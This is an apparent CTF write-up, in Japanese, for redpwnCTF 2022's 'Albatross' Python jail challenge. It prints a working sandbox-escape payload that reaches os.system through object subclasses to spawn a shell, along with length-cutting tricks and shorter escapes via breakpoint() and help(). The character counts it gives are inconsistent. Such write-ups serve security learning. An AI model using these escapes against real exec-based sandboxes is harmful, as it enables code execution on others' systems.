redpwnCTF 2022 - Albatross
Challenge
102文字以内で RCE を達成。
code = input()if len(code) > 102: print("Too long!") exit()
exec(code, {'__builtins__': __builtins__})Solution
最短ペイロードの構築
# 基本形 (104文字 - ギリギリオーバー)[c for c in ().__class__.__base__.__subclasses__() if'wr'in str(c)][0].__init__.__globals__['system']('sh')
# 短縮版 (102文字以下)[c for c in ().__class__.__mro__[1].__subclasses__()if'wr'in str(c)][0].__init__.__globals__['system']('sh')docstring からの文字抽出
# 空白文字を抽出().__doc__[19] # ' '
# 特定の文字を探索[i for i,c in enumerate(''.__doc__) if c=='o'][0]短縮テクニック
| 元 | 短縮 |
|---|---|
__bases__[0] | __mro__[1] |
__subclasses__() | そのまま |
' ' in str(c) | 'x'in str(c) (空白削除) |
Technical Details
ペイロード長の最適化
# オリジナル: 105文字[c for c in ().__class__.__bases__[0].__subclasses__() if '_wrap_close' in str(c)][0].__init__.__globals__['system']('sh')
# 最適化1: __mro__ を使用 (102文字)# __bases__[0] より __mro__[1] が短い
# 最適化2: 部分文字列マッチ (99文字)# '_wrap_close' → 'wr'
# 最適化3: 空白削除# ' if ' → 'if'文字数カウント
payload = "[c for c in ().__class__.__mro__[1].__subclasses__()if'wr'in str(c)][0].__init__.__globals__['system']('sh')"len(payload) # 確認Alternative Solutions
別解1: exec + input
exec(input())12文字だが、2回目の入力が必要。
別解2: breakpoint
breakpoint()12文字で pdb を起動し、そこから RCE。
別解3: help
help()6文字で対話モードに入り、pager から脱出。
Flag
flag{...}
References
- redpwnCTF 2022 Official